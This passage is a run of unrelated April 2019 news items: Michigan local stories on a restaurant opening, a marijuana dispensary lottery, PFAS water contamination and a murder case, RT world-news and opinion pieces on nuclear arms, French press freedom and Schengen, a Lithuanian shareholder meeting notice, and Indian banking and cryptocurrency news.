tie Jewish identities and the Jewish future to unquestioning support for oppressive Israeli policies. He noted a number of Jewish people who have kicked off the Birthright trip for asking questions about the occupation. They want us to experience Israel as a fantasy land, so we can go home and become foot soldiers in their fight to defend the occupation from international criticism and consequences, Weinger said. We are coming together as a generation to take the Jewish future into our own hands. HOLLAND, MI HopCat, the popular restaurant and craft beer bar, will open its newest location Saturday in Holland. The 6,200-square-foot space is located at 80 W. 8th St., amid the West Eighth development that features a movie theater, retail shops, apartments and a 380-space parking deck. It has seating for 160 people. Holland has gone from what was once more of a sleepy town maybe a couple decades ago to a really vibrant community, said Joe Sonheim, a spokesperson for Barfly Ventures, HopCats Grand Rapids-based parent company. Were just excited to be a part of that and find ways that we can give back and, at the end of the day, serve great burgers, great beer and great craft food. It will be HopCats eighth location in Michigan and its 17th overall. Outside of Michigan, HopCat has restaurants in Indianapolis, Kansas City, Minneapolis, St. Louis, Lexington, Kentucky; Louisville, Kentucky; Lincoln, Nebraska; Madison, Wisconsin; and Port St. Lucie, Florida. The restaurant will open at 11 a.m. The first 200 people in line will win free cosmik fries for a year. The fries, one of HopCats signature items, are beer-battered and seasoned with cracked pepper. The restaurant will offer all customers free Cosmik fries Saturday. As part of its grand opening, the restaurant will also offer 20 percent off all HopCat apparel. GRAND RAPIDS, MI -- Kevin Currier had cold sweats as he waited and watched ping pong ball after ping pong ball pulled from the raffle drum. Each ball drawn before his meant a potentially smaller window for his family's proposed medical marijuana dispensary to get before the planning commission and have a shot at becoming a reality. It was an emotional roller coaster in there, Currier said, laughing. Im not a betting man, and this is a lottery. Theres so much time and effort and energy put into all of this. The fact that youre putting all this effort into it and its coming down to -- to an extent -- a lottery, this is the part of business I dont like." The ping pong ball Currier was hoping to see drawn, and eventually did, had the address 501 Leonard St NW taped to it. Thats the location where he and his family hope to open a medical marijuana dispensary. The ball is one of 80, all with their own addresses for proposed medical marijuana facilities, most of them dispensaries, in Grand Rapids. The lottery-style draw Friday, April 26, determined the order in which applicants get to go before the city planning commission for a special use permit. The earlier the draw, the better chance an applicant has at getting their dispensary, grow operation or processing center open. When a facility is granted a special use permit, it could void another applicant for being too close. For standalone medical marijuana dispensaries, which nearly all of the applications are, the restriction is 2,000 feet. Getting a special use permit, even if the application isnt voided by a nearby facility, isnt a sure-fire thing. The planning commission has to evaluate each property site by site and hear neighbor concerns. Curriers ping pong ball was drawn 35th overall, but fourth in his area grouping class. A proposed standalone dispensary at 1336 Scribner Ave. NW -- about 1,500 feet away from 501 Leonard -- was drawn before him. Its unclear if that voids Curriers chances. He said hell have to wait and see how it shakes out. Its too soon to tell how I feel, he said. Me and my family, were hopeful. The idea to open a medical marijuana dispensary in Grand Rapids was his fathers idea, Currier said. His father is a small business owner and doctor in Alpena. He knows the medical aspects of this, and hes excited to see what it can do and how it can help people, he said. Unlike the Curriers, who only have one facility application in with the city, some companies have more than a dozen. The two companies with the most applications are Battle Creek-based Humble Roots with 20 and Detroit-based Green Skies - Healing Tree with 23. Currier, who has lived in Grand Rapids the past year, said its discouraging to see bigger, out-of-town businesses come in and dump multiple applications. I just hope when this all shakes down everyone keeps an eye on how localized they are and what their intent is, he said. Applications had a better position in the lottery for, among other things, having partial local business ownership, an agreement to hire some local workers and not needing a separation distance waiver from a sensitive use facility like a religious institution. The planning commission will tentatively hear about three applications each meeting, with two meetings a month, according to the city. As they become more adept at the hearings, the number considered each meeting could increase. The first hearings could begin in late May and end as early as September. Currier said once recreational marijuana pot shops are allowed in Michigan, he wouldnt see a problem with offering both medical and recreational, should it be allowed. What I hope for is an integration of both, he said. I dont see any reason why I cant serve medical patients with their special needs and the recreational market. VANDERCOOK LAKE, MI With almost 57 percent of the vote, Vandercook Lake pulled out a big win in the first MLive/Jackson Citizen Patriot Prom of the Week poll for 2019. Vandercook Lakes prom is at Jacksons Historic Michigan Theatre on Saturday, April 27, and the win guarantees that a MLive/Jackson photographer will be there to cover it. Masquerade Ball is the theme for this years prom, and the theaters glamorous decor is perfect as the backdrop, said Joan Hofer, whos a junior class adviser along with Lyman Robertson. We just want to make it a really elegant, glamorous evening, Hofer said. It will be really fun to watch our seniors have a great time. Vandys closest competitor in the five-school poll was Northwest High School, with just a little more than 30 percent of the vote. Stay tuned for next weeks poll, which features Lumen Christi, Jackson High, Concord, Hanover-Horton, Michigan Center and Western battling it out to become the next Prom of the Week. Voting begins Monday, April 29. VAN BUREN COUNTY, MI -- The former police chief in Bangor has been sentenced to community service and forfeiting her state license to be a police officer as part of a state investigation into improper vehicle titling. Elena Danishevskaya pleaded guilty to 2 counts of failure to enforce or uphold the law, according to state Attorney Generals office spokesperson. The charges are misdemeanors. She was among seven police officers statewide to be charged in early 2018 with crimes related to vehicle inspections that led to title fraud. The charges are the result of an investigation by the FBI Detroit-Area Public Corruption Task Force. Its alleged that the officers falsified Secretary of State documents for inspections intended to detect stolen vehicles and parts, according to Attorney Generals offfice staff. As part of Danishevskayas sentence, she must perform 40 hours of community service, pay a $500 fine and relinquish her MICOLES certification (police license). PARCHMENT, MI More than 70 people gathered during a town hall meeting Thursday, April 25, at Parchment High School, to talk about the states response after so-called forever chemicals were found in the city of Parchments water supply. Per- and polyfluoroalkyl substances, often called PFAS, were found in high levels in the Parchment water supply in July 2018, and an estimated 3,100 people using the water supply were told to stop drinking the water. One test showed total PFAS of 1,587 parts per trillion (ppt), which is 26 times higher than a federal health advisory of 70 ppt. The state continues to learn about the extent of contamination, digging wells to test for the substances in the area. Officials say the goal in Parchment and other places with contamination is to find the source, stop dangerous chemicals from spreading, and protect people. Customers that were served by Parchment municipal water have since been switched over to being fed by the city of Kalamazoos municipal water system, as an investigation involving the Michigan Department of Health and Human Services and the Michigan Department of Environment, Great Lakes and Energy (formerly known as the Michigan Department of Environmental Quality) continues. Steve Sliver, executive director of the Michigan PFAS Action Response Team, talked about the PFAS cycle, and how the chemicals can move from a source and cycle through different parts of the environment, which is how they sometimes show up in drinking water. They are not really moving out of the system, were just moving them through, he said. A graphic from the Michigan Department of Environment, Great Lakes, and Energy, shows the "PFAS cycle." State agencies are investigating in the area after PFAS were found in the city's municipal water supply in 2018. Sliver talked about how Michigan is working toward developing statewide drinking water standards for contaminants in municipal water systems. He said the state has engaged in communities where contamination has been found, such as Parchment, and now they are working to engage with citizens on a broader statewide basis. The good thing to note is as soon as we can identify these sites across the state, is that we immediately investigate whether or not theres any migration to any offsite wells and municipal water supplies and if we find contamination, address that immediately, Sliver said. In Parchment, the chemicals have been also been found at high levels in groundwater near the old mill and an adjacent industrial waste landfill. Georgia-Pacific, a Koch Industries subsidiary, formerly owned the Parchment paper mill where food packaging was manufactured using PFAS chemicals made by 3M. Georgia-Pacific sent a letter to the DEQ in October 2018 and volunteered to develop a work plan to install monitoring wells and share data about the findings with the state. Nathan Whitmyer, senior environmental quality analyst at EGLE, said Georgia-Pacific has completed the installation of 29 monitoring wells at 21 locations in the Parchment area as part of the phases I and II of the hydrogeological investigation and EGLE collected split samples from the wells in January, February and March. Four of the wells were above 70 ppt for PFOS + PFOA, 15 wells had a reading of less than 70 ppt, and ten of the wells were non detect," he said. EGLE will continue to provide oversight for Georgia-Pacifics hydrogeological investigation and a report on the first two phases of the hydrogeological investigation will be prepared by GP and submitted to the EGLE for review by the end of April 2019, he said. In Richland, 21 sets of monitoring wells were recently installed, he said, and EGLE has sampled from those and other monitoring wells, a total of 86 wells. Sen. Sean McCann, D-Kalamazoo, hosted the town hall, and said it was so he and the others on the panel are available for questions from people who may be impacted. I know its an evolving topic, its a moving target in terms of safety and studies and how do we get to a point where we dont want to unreasonably scare the population but we also dont want to find out people are all going to get sick because theyre ingesting toxic chemicals, he said, answering a question about how residents can navigate the complexities of the issue. He compared it to his time on the the Kalamazoo City Commission, which dealt with PCBs cleanups, a similar problem, he said. Questions remain about which chemicals to test for and which amount should be considered a health risk, he said. Whats going to come 20 years from now that we discover weve been using as an industrial product, and shouldnt have been using? he said. Tammy Cooper, a Parchment resident and mother, found out in July with other residents that the water that supplied her home had high levels of PFAS. After the town hall meeting Thursday, she criticized the slow movement of action by officials. Were almost a year into this crisis, which now theyre saying has been resolved, however, I have a three year old, we have small children walking around who have been consuming this water, she said. She spoke about a possible health study that the state is applying for a grant to fund, according to an MDHHS presentation. How long is that going to take?" Cooper said. It seems like, by the time all this paperwork goes through, and all this red tape, its going to kind of be a moot point and youre going to have drastically low blood levels." She asked for legislators to support efforts to protect citizens from contaminates. We have to keep fighting for Parchment, and make sure this doesnt happen in other communities, she said. Deb MacKenzie-Taylor, Ph.D. of the Michigan Department of Health and Human Services gave a presentation Thursday. In April, the state rolled out the new advisory guidelines after they were finalized by the Michigan Department of Health and Human Service that include screening levels for five forms of the chemicals, she said. KALAMAZOO, MI The city of Kalamazoo will hold a special meeting Monday to talk about potential regulation related to recreational marijuana. The public is invited to a special work session meeting of the Kalamazoo City Commission at 6 p.m. Monday, April 29, in the community room at Kalamazoo City Hall, 241 W. South St. City Attorney Clyde Robinson said on Friday, April 26, he was preparing a presentation for Mondays meeting and still determining whether or not he will make any recommendations to the city commission. There are some nuances that I have to take some time to explain, Robinson said. The meeting is meant to give the city commissioners a basis to decide whether they want to allow recreational marijuana businesses in the city, or to opt out, he said. The presentation will touch on what Michigans new law says, what options it provides to the city and the history surrounding the issue. He called it a workshop meeting that will also probably include a question and answer session with commissioners. Citizens are welcome to offer comment during a specified part of the meeting, Robinson said. Michigan voters approved a proposal in 2018 to legalize the adult use and possession of marijuana. In the wake of legalization, several businesses have popped up across the state, embracing the loosening regulations in a variety of ways. In Kalamazoo, Ruperts Brewhouse is allowing marijuana use on site during private club events. The business celebrated the unofficial cannabis holiday of 4/20 on April 20 with one of the events and posted a photograph of owner Mark Rupert holding a flame to a large joint. The state is currently working to establish rules for recreational marijuana businesses. An unofficial document provided by the Department of Licensing and Regulatory Affairs, updated on April 18, shows eight governments in Kalamazoo County that have opted out of allowing recreational marijuana businesses, at this time: Brady Township, Charleston Township, Cooper Charter Township, Portage, Prairie Ronde Township, Ross Township, Schoolcraft and Texas Charter Township. Additionally, Galesburg opted out of allowing recreational marijuana on April 1. Adjacent to Kalamazoo, in Portage, the city commission voted in November 2018 to prohibit recreational marijuana businesses within city limits, with plans to revisit the issue in the future. Portage City Manager Larry Shaffer said in April that he plans to continue to recommend to the city commission stand down on further action on the issue until after the state has developed its rules. MUSKEGON COUNTY, MI -- A Muskegon woman faces the death penalty if convicted of two murders in Texas for which her boyfriend, a mixed-martial arts fighter, also is charged. Maya Renee Maxwell, 26, has been indicted by a grand jury in Bell County, Texas, for capital murder of multiple persons and tampering with physical evidence, which was the car belonging to one of the victims. She is charged in connection with the murders of Jenna Scott and Michael Swearingin, who investigators believe were killed in Killeen, Texas, and buried in Oklahoma, according to arrest warrant affidavits. Cedric Joseph Marks, 44, also has been indicted for capital murder of multiple persons in the deaths of Scott, 28, and Swearingen, 32. Its alleged that the two were killed Jan. 3, 2019, and were reported missing Jan. 4, 2019, according to arrest affidavits obtained by MLive/Muskegon Chronicle. Marks wife, Ginell McDonough of Muskegon, has been charged in Muskegon County District Court with harboring fugitives Marks and Maxwell -- and lying to investigators. Indictments against Maxwell and Marks say they caused Swearingins death by strangulation and asphyxiation and also killed Scott by homicidal violence at about the same time. Scott and Marks reportedly were in a prior dating relationship. An affidavit for Marks arrest indicates that Maxwell told detectives that Scott and Swearingin were killed by Marks at a home in Killeen to which they had been taken, on Jan. 3. Maxwell told police she heard sounds of struggles after Marks entered separate rooms where Swearingin and Scott were located, the affidavit states. When he left each of the rooms, the victims were deceased, the affidavit states. Maxwell told detectives that the bodies of Scott and Swearingin were buried in Oklahoma, and police later located them at the spot she had described, the affidavit says. Maxwell also admitted that she was present before and after the deaths of Jenna Scott and Michael Swearingin and was present at the transport and burial of the bodies, the affidavit states. Maxwells arrest affidavit states that Swearingen and Scott were reported missing Jan. 4 and were last seen at Swearingins home. The next day, Swearingins car was found in Austin, Texas, and the investigation led to Maxwell who admitted she was involved with the transport of the vehicle to conceal it from law enforcement, according to her arrest affidavit. Maxwell told police Marks also was involved in moving Swearingins car, and he too is charged with tampering with physical evidence, affidavits and grand jury indictments show. Marks escaped on Feb. 3 from a private prisoner transport van that was taking him from Kent County to face double-murder charges in Texas. He escaped when the van stopped at a McDonalds restaurant in Conroe, Texas, and was found nine hours later hiding in a trash can. Its alleged that McDonough, 37, allowed Marks and Maxwell to stay with her from Jan. 5-8 after they returned from Texas. Marks also was at McDonoughs home before he left with Maxwell on Jan. 1 for Texas, Muskegon County Prosecutors Chief Trial Attorney Matt Roberts said earlier. Investigators found a suitcase with Marks papers and an assault rifle concealed at McDonoughs U.S. Army Reserve Office in Muskegon, Roberts said. McDonough is a sergeant with the U.S. Army, according to her attorney. Marks and Maxwell were arrested Jan. 8 in Grandville. A mixed martial arts fighter who used the nickname Spiderman, Marks reportedly trained at a Muskegon area gym and also taught self-defense classes to women. Donald Trump has called on the US, Russia, and China to reduce their nuclear arsenals amid reports that his administration is planning to propose a landmark arms control deal with Beijing and Moscow. In an interview with Fox News host Sean Hannity, the US president said that he welcomed Russias efforts to help denuclearize the Korean Peninsula but that more must be done. We want to get rid of the nuclear weapons, we all have to get rid [of them]. Russia has to get rid of them, and China has to get rid of them, Trump stated. Also on rt.com US says it won't rule out nuclear first strike, because allies wouldn't trust it otherwise His comments coincide with reports that the White House is gearing up for an ambitious arms control treaty with Russia and China. The deal, still in its early stages, would impose restrictions on unregulated nuclear weapons and would call on Beijing to join an arms-control pact verifying Chinas nuclear capabilities. In past months, Trump has publicly expressed support for the idea of limiting or reducing the worlds nuclear arsenals. Between Russia and China and us, were all making hundreds of billions of dollars worth of weapons, including nuclear [weapons], which is ridiculous, Trump said in early April. The president continued: I think its much better if we all got together and we didnt make these weapons. So I think thats something that could be a phase two after this [trade war] is done. In December, the president tweeted that he wanted to make a deal with Russia and China to end the uncontrollable arms race. The ambitious plan for promoting non-proliferation clashes with the presidents past approaches to arms control. Trump announced in February that the US would withdraw from the Intermediate-Range Nuclear Forces Treaty (INF) with Russia. Moscow lambasted the move as a provocation that would lead to a new arms race. Also on rt.com Pentagon eager to test banned missiles after discarding Cold War-era nuke treaty Trump may also struggle to convince the international community that Washington will honor any new arms control agreements. His decision to unilaterally pull out of the 2015 nuclear deal with Iran angered many US allies, and sparked accusations from Tehran that the US is incapable of keeping its word. Like this story? Share it with a friend! Three journalists have been summoned for questioning by French police for their role in an explosive report detailing how the Macron government knowingly sold arms to Saudi Arabia and the UAE for use in Yemen. Disclose co-founders Geoffrey Livolsi and Mathias Destal, as well as Benoit Collombat of Radio France have been summoned by police for questioning about the revelations contained within the April 15 report published by Disclose who partnered with Radio France, Mediapart, Arte Info, and Konbini. The report contained a leaked, classified French intelligence report to the president and Foreign Minister Jean-Yves Le Drian and Minister of the Armed Forces Florence Parly detailing the use of French weapons in Yemen during a defence council meeting on October 3, 2018. Also on rt.com UK slams Saudi beheadings, but arms sales for Riyadh's Yemen war still go on The report proves that Macrons government deliberately lied about having no knowledge that French arms, including French-supplied CAESAR howitzer artillery, tanks, and laser-guided missile systems, would be used offensively in Yemen, in violation of the 2014 Arms Trade Treaty (ATT) which entered into force on December 24, 2014. The journalists argue that the revelations are of major public interest, that bring to the attention of citizens and their representatives what the government wanted to conceal, adding that Macrons decision to pursue them constitutes infringement on freedom of the press and speech in general. We have learned that a preliminary investigation for compromising national defence secrets has been launched by the Paris prosecutors, Disclose said in a statement. The journalists are due to be questioned by the General Directorate for Internal Security (DGSI), Frances domestic intelligence agency, in a hearing scheduled for mid-May. The move has been condemned in a statement signed by 36 French press outlets, including Le Monde and AFP. Tens of thousands of civilians have been killed in the Saudi-led intervention in Yemen which has been waged since 2015. Up to 14 million people are at risk of starvation as a result of the ensuing Saudi-led blockade. Think your friends would be interested? Share this story! Citing concerns over border security, French President Emmanuel Macron has declared that the EUs visa-free zone is no longer tenable. But how will he decide who stays and who goes, and is France in the running? Macron, once billed as a champion for greater EU integration and unity, made a surprising policy U-turn when he stated that the Schengen zone does not work anymore and that the blocs open-border policy would need to be revised. The French leader also called for an end to the Dublin Regulation, which gives an EU member-state the right to send back asylum seekers to the first country of entry to the bloc. His comments have been interpreted as concessions to the anti-globalist Yellow Vest movement, but Macron may have a difficult time explaining why he once railed against nations which opposed Brussels decrees about open borders and asylum seekers only to make an abrupt about-face. Also on rt.com Macron suggests shrinking Schengen zone because EU migration policies 'do not work' How does Macron envision this smaller, more border-conscious Schengen zone, and what factors will be used to decide which nations are no longer worthy of being part of the visa-free agreement? Is it possible that France shaken by an influx of migrants, terrorism and social unrest is a perfect candidate for exclusion from Macrons new Schengen agreement? Who stays and who goes? While the French president believes that the Schengen area, which is comprised of 22 EU member-states and four non-EU countries, is no longer tenable, he failed to elaborate on which countries will get the visa-free boot. How would a future, more security-savvy Schengen zone be determined? Excluding economically-challenged member states such as Greece or Italy could perhaps be a way to keep economic migrants at bay. Likewise, countries gripped by social strife, such as in Sweden, with its crime-plagued no-go zones, could be ideal candidates for Schengen exclusion. Or is Macron setting his sights on economic powerhouse Germany? Kicking Germany out of the zone seems unfathomable, but repeated terrorist attacks coupled with an increasingly uncertain political and social climate fuelled by its generous intake of asylum seekers could put Berlin on the blacklist. A Dublin double standard Macrons lamentations over the Dublin agreement are equally puzzling. The French leader has long been at odds with Hungarian Prime Minister Viktor Orban and other anti-migrant factions within the bloc, who argue that the arrangement places an unfair burden on member-states that serve as entry points to the EU. Hungary has long opposed the agreement and maintains that it has sole sovereignty over who is allowed to seek asylum within its borders. The stance has made Orban into a pariah in the eyes of Brussels. Does Macron now count himself among the much-maligned EU-skeptics, or has questioning the viability of the Dublin agreement now become a legitimate policy stance? Actually, Macron may be simply acknowledging a painful truth that has long been apparent: In 2016, the European Commission proposed reforming the Dublin system in an attempt to ensure that all countries take in their fair share of migrants. Time for France to leave Schengen? Ironically, Macrons government is already at odds with the Schengen agreement: France imposed internal border checks as a security precaution following the 2015 Paris terror attacks but the temporary measure has been extended right up to the present day. Which begs the question: Should France be the first country to formally leave the Schengen zone? After all, France seems to fit the profile of a problem country for a visa-free EU zone. Having suffered a string of deadly terror attacks since 2015 (the most recent in December 2018 in Strasbourg, which killed five and wounded more than 10), France clearly suffers from security lapses. Still scrambling to adjust to the migrant influx, and now faced with weekly, nationwide street protests led by the Yellow Vests, France may be the perfect candidate for a border quarantine. But is that what Macron had in mind when he suddenly decided that borders are important? Like this story? Share it with a friend! Mutually assured destruction a pillar of global stability would disappear if Russia, China and the US agreed to get rid of nuclear weapons, according to lawmaker Leonid Slutsky. Balance of powers between Moscow and Washington is based on so-called mutual assured destruction, the lawmaker told Russian TV, commenting on an interview with US President Donald Trump where he called on other countries to reduce their nuclear arsenals. If it wont be the case anymore, there would be a risk of a real war, no more no less. Also on rt.com China, Russia we all have to get rid of nukes, Trump says amid reports he eyes arms control deal In the interview, the US president called on the US, Russia, and China to give up their nuclear weapons. We all have to get rid [of them]. Russia has to get rid of them, and China has to get rid of them, Trump stated. His comments came amid reports that the White House is preparing an ambitious arms control treaty with Russia and China. However, Slutsky, the head of the Committee on International Affairs of Russias Lower House, was skeptical about the US nuclear disarmament, pointing out that the US increased its military budget up to $716 billion this year. In February, the US also unilaterally withdrew from the 1987 INF Treaty, which bans ground-based missiles with a range of between 500km and 5,500km, he added. Also on rt.com Moscow rules out destroying new missiles in response to 'groundless' US request Thus, Donald Trumps statement could only be interpreted as a publicity move, typical for this president. He often makes contradicting statements one after another, Slutsky concluded. Earlier, President Trump and several top officials, including US national security adviser John Bolton, hinted at negotiations for a new nuclear treaty, including China and Russia, but no particular suggestions have been made. By contrast, the Trump administration has a very solid record of withdrawing from international agreements. Since entering the Oval Office in 2016, Trump withdrew from the Paris climate agreement, the Trans-Pacific Partnership (TPP), a trade agreement between 12 Pacific Rim countries, and the North American Free Trade Agreement, or NAFTA, which links US, Canada, and Mexico. In 2018, the US announced its withdrawal from the nuclear deal with Iran, causing international uproar and criticism. Think your friends would be interested? Share this story! President Ghani inaugurates new Afghanistans parliament 6 months after elections President Ghani inaugurates new Afghanistans parliament 6 months after elections President Ashraf Ghani has inaugurated Afghanistans new parliament after almost six months since elections were held and following long delays and claims of voter fraud. Ghani spoke at the ceremony on Friday in Kabul, which brought together both the lower, legislative 249-seat chamber and the appointed 104-member upper house. The president expressed regret over the delays and the fact that 33 seats for lawmakers from the districts in central Kabul province were empty because the election commission still has not announced results. Ghani blamed the inefficiency of former election commission members who have since been replaced. The October election day was marred by bombings and attacks on polling stations that killed 27 civilians and 11 policemen, AP reported.Source : RT - Daily news Washington has to change its approach to denuclearization talks, a senior North Korean minister said, adding that the UN sanctions are not a major headache for the country. Pyongyang is barely affected by the economic restrictions imposed by the UN to tackle its nuclear pursuits, North Korean External Economic Affairs Minister Kim Yong-jae told Yonhap News Agency on Friday. North Korea faced international backlash when it withdrew from the Nuclear Non-Proliferation Treaty in 2003 and later conducted a series of nuclear tests and ballistic missiles launches. A range of UNSC resolutions, among other things, banned arms trade with Pyongyang and imposed restrictions on exports and imports. Also on rt.com North Korea lambasts Bolton for dim-sighted denuclearization remarks The official claimed that the sanctions "dont bother the authorities in Pyongyang, and that the national energy and electricity output has increased from last year. Let them impose sanctions, for a hundred, or thousand years, if they wish we cannot care less and are barely affected by them. The minister also took a dig at Washingtons approach to North Koreas nuclear program, indicating that officials in the US should revise their strategy. These people must not do things the way theyre doing them now, and have got to change their way. The ministers words come just one day after North Korean leader Kim Jong-un discussed denuclearization with Russian President Vladimir Putin in Vladivostok. Pyongyangs nuclear arsenal was also in the spotlight during the February Kim-Trump summit in Hanoi, which ended with both leaders abandoning the negotiations earlier than scheduled. North Korean officials later revealed that one of the reasons was Washingtons hardline stance on the matter of sanctions, accusing Trumps team of a gangster-like approach. Also on rt.com Putin welcomes Kim's efforts to normalize ties with US, hopes for denuclearization talks progress If you like this story, share it with a friend! Blonde jokes and judgements based on stereotypes might be annoying but they wont deter Anna Khramtsova, a warrant officer who was voted the most beautiful female servant of the Russian internal security agency. Khramtsova, who comes from Ekaterinburg in the Ural region, captured the hearts of 57,000 people and was chosen winner of The Beauty of the National Guard pageant. In a video profile posted on the agencys YouTube page as contest results were announced on Friday, she bemoans that male colleagues judge her unfairly based on her looks and her blonde hair. But I dont care about this, I just serve with grace, she says. Also on rt.com Fairest of them all: Meet young painter crowned Russias new beauty queen (PHOTOS) Khramtsova was born in a family of law enforcement officers and followed in her parents footsteps. She first served in the police before moving to the National Guard, an agency established in 2016 to fight terrorism and organized crime and to protect public order. Khramtsovas video profile gives a glimpse of her everyday office routine but also features a moment where she showcases her shooting skills and a session at the gym. A lot of time has to be devoted to raising her child as well, she admits. Honoring the winner, the National Guard also paid tribute to the 12 other finalists of the beauty pageant promising that their portraits will appear on the agencys 2020 calendar. Like this story? Share it with a friend! Three explosions have reportedly rocked a city on Sri Lankas eastern seaboard as the police and the army carry out searches targeting suspects from last weekends deadly bombings. The explosions hit the city of Kalmunei as raids were carried out by the Army and the Police Special Task Force, Sri Lankan news outlet News First reported. Police have been conducting searches across Sri Lanka in the aftermath of the deadly suicide bombings on churches and hotels which killed more than 250 people. Islamic State (IS, formerly ISIS) claimed responsibility for the bombings. DETAILS TO FOLLOW US President Donald Trump said he appreciated the statements made by Russian President Vladimir Putin after the summit with North Korean leader Kim Jong-un in Vladivostok. China's efforts on the denuclearization front were also helpful, Trump told reporters at the White House. The two heads of state met on Thursday in the Russian city of Vladivostok, where they discussed North Koreas nuclear program, among other security issues. Also on rt.com We have no secrets from US: Putin says he is ready to tell Trump about Kim talks Speaking to the press after the summit, President Putin urged international cooperation, and that the DPRK be given a security guarantee. They [the North Koreans] only need guarantees about their security, President Putin said. Thats it. All of us together need to think about this. DETAILS TO FOLLOW IRL Notice on the decisions adopted by the Annual General Meeting of Shareholders The Annual General Meeting of Shareholders of AB INTER RAO Lietuva, code 1261 19913, registered address at A. Tumeno str. 4, Vilnius, the Republic of Lithuania (hereinafter referred to as the Company), was held at Mindaugo str. 27, LT-03210, Vilnius, the Republic of Lithuania, at 10.00 am on 26 April 2019 (hereinafter referred to as the Meeting). On the day of the Meeting the authorised capital of the Company was divided into 20,000,000 ordinary registered shares with par value of EUR 0,29 each, and in total granting 20,000,000 votes at the General Meeting of Shareholders of the Company. Shareholders collectively holding 13,637,099 of the Companys shares which represent 68,19% of the total authorised capital and the total voting rights of the Company participated in the Meeting. The Meeting had a quorum. One of the abovementioned shareholders is considered to be participating, since it has filled in and timely submitted to the Company a valid general voting ballot. No voting rights transfer agreements were submitted. The Meeting has adopted following decisions: 1 Resolution: Regarding the Consolidated Annual Report of the Company for the year 2018. Resolved: To take note of the Consolidated Annual Report of the Company for the year 2018, which has been approved by the Board and has been analysed by the Supervisory Council of the Company. Participated in voting: 13,637,099 votes / shares. In favour: 13,524,242 votes / shares. Against: 0 votes / shares. bstained: 112,857 votes /shares. 2 Resolution: Approval of the Audited Annual Financial Statements of the Company for the year 2018 and the Audited Consolidated Annual Financial Statements of the Group for the year 2018. Resolved: To approve the Audited Annual Financial Statements of the Company for the year 2018 and the Audited Consolidated Annual Financial Statements of the Group for the year 2018. Participated in voting: 13,637,099 votes / shares. In favour: 13,637,099 votes / shares. Against: 0 votes / shares. 3 Resolution: Distribution of profit (loss) of the Company for the year 2018. Resolved: To distribute the profit (loss) of the Company for the year 2018 according to the draft distribution of profit (loss). Participated in voting: 13,637,099 votes / shares. In favour: 13,637,099 votes / shares. Against: 0 votes / shares. 4 Resolution: Selection of the audit firm and approval of conditions of payment for audit services. Resolved: To select UAB Ernst & Young Baltic, legal entitys code 110878442, address Subaciaus str. 7, Vilnius, as the audit firm to perform the audit of the financial statements of the Company for the year 2019 and to establish conditions on payment as follows: not exceeding EUR 23,000 (without VAT) for the audit services. Participated in voting: 13,637,099 votes / shares. In favour: 13,637,099 votes / shares. Against: 0 votes / shares. 5 Resolution: Election of member of Supervisory Council; Resolved: To elect Valerian Goncharov as the member of the Supervisory Council. Participated in voting: 13,637,099 votes / shares. In favour of Mr. Valerian Goncharov 13,524,242 votes / shares. Against: 112,857 votes / shares. According to the 3 Resolution on distribution of profit (loss) of the Company for the year 2018, the Meeting decided on payment of dividends on the following terms: total amount of dividends to be paid EUR 11,600,000; dividend per one share EUR 0,58; record date end of the business day on 13 May 2019; dividend payment date 17 May 2019. Mr. Valerian Goncharov Education: Moscow State Institute of International Relations (MGIMO University), Master degree in International Law Work experience/last 5 years: 2014-2017: Chief Expert at International Law Department of PJSC Inter RAO 2017 present: Head of Direction at International Law Department of PJSC Inter RAO Annexes: 1. AB INTER RAO Lietuva Consolidated and Parent Companys Financial Statements, Consolidated Annual Report and the Independent Auditors Report for the year ended 31 December 2018; 2. Distribution of profit (loss) of the Company for the year 2018; 3. Distribution of votes of the shareholders holding over 5% of votes at the Annual General Meeting of Shareholders of the Company; Legal grounds: Article 17.1 of the EU Regulation on market abuse No 596/2014. Image: Facebook live bse live nse live Volume Todays L/H More YES Bank has shifted to a calibrated growth model with modest growth targets and preemptive provisioning against bad loans, the top management told analysts over a call after announcing January-March quarter results under a new chief on April 26. The bank has pegged credit growth at 20-25 percent for the current financial year and intends to stabilise it around those levels in coming years, which is a break from the usual aggressive loan book expansion that the private lender targets every year. For March-ended 2019, the bank's loan book grew by 18.7 percent over last year and shrunk by 1 percent over the previous quarter. It had registered a growth of 53.9 percent in 2017-18 and 34.7 percent in 2016-17. The bank also made contingency provisioning of Rs 2,100 crore on around Rs 10,000 crore worth of assets of below investment grade rating on its loan book. It expects half of these loans to slip into the non-performing assets (NPA) category in future. The bank has pegged credit cost at 125 basis points for the current financial year, factoring in the decision to adopt conservative accounting going forward. Ravneet Gill, the new MD & CEO, said that apart from some senior hirings, the bank also plans to increase its headcount by 2600 in FY20. He said that the bank is currently looking to fill a senior position who will drive the retail liabilities growth for the bank. The bank posted a surprise loss of Rs 1,507 crore for the quarter ended March 31 owing to spike in bad loans (mainly IL&FS Group and Jet Airways). The bank's PCR tanked to 43.1 percent in March-ended quarter, from 50 percent a year ago. It plans to prop up the provisioning coverage ratio to 60 percent in 12-18 months time. YES Bank also said that it is examining a whistleblower complaint on former MD & CEO Rana Kapoor relating to irregularities in operations, potential conflicts of interests and incorrect NPA classification. The bank has engaged an external firm to independently examine the matter and will consider the implications of the findings in the current financial year. In a separate announcement, the bank appointed Ravinder Kumar Khanna and Shagun Kapur Gogia as additional directors on the board. Gogia is the daughter of Madhu Kapur and late Ashok Kapur who co-promoted YES Bank along with Rana Kapoor. In order to protect investor interests, the head of Investor Education and Protection Fund Authority (IEPFA) has said that government should ban cryptocurrency trading. "Cryptocurrency is a ponzi scheme and the IEPFA is of the view that it should be banned. The government must take a stand on it and by not taking a decision we are harming the investors," Anurag Agarwal, Joint Secretary, Ministry of Corporate Affairs and CEO, IEPFA, said at an event in New Delhi. All government agencies are of the opinion that trading in cryptocurrencies should be banned, Agarwal said. The government has reportedly begun inter-ministerial consultations on a draft bill to ban cryptocurrencies and regulate official digital currencies. A number of government departments, including the Department of Economic Affairs, Central Board of Direct Taxes, Central Board of Indirect Taxes and Customs and the IEPFA have endorsed the idea of a complete ban on the sale, purchase and issuance of all types of cryptocurrency. The government had formed a panel under Finance Secretary Subhash Chandra Garg to draft regulations for cryptocurrencies last year. The government is also coming up with a mobile app to safeguard the interests of small investors who might end up losing money by investing in chit funds. "It is very simple. You can take a picture of the receipt from your mobile. With all the basic information about your investment, you can upload and we will receive the document. So say if we receive 50 complaints against one particular entity, then we can trigger action against that entity," Agarwal said. The government is planning to come out with the investor information app in the next ten days. The app can be used to take action against not only companies, but also against proprietors and legal entities. Representative image India has once again delayed the implementation of higher tariffs on some goods imported from the United States to May 15, a government official said on Friday. The new tariff structure was to come into force from 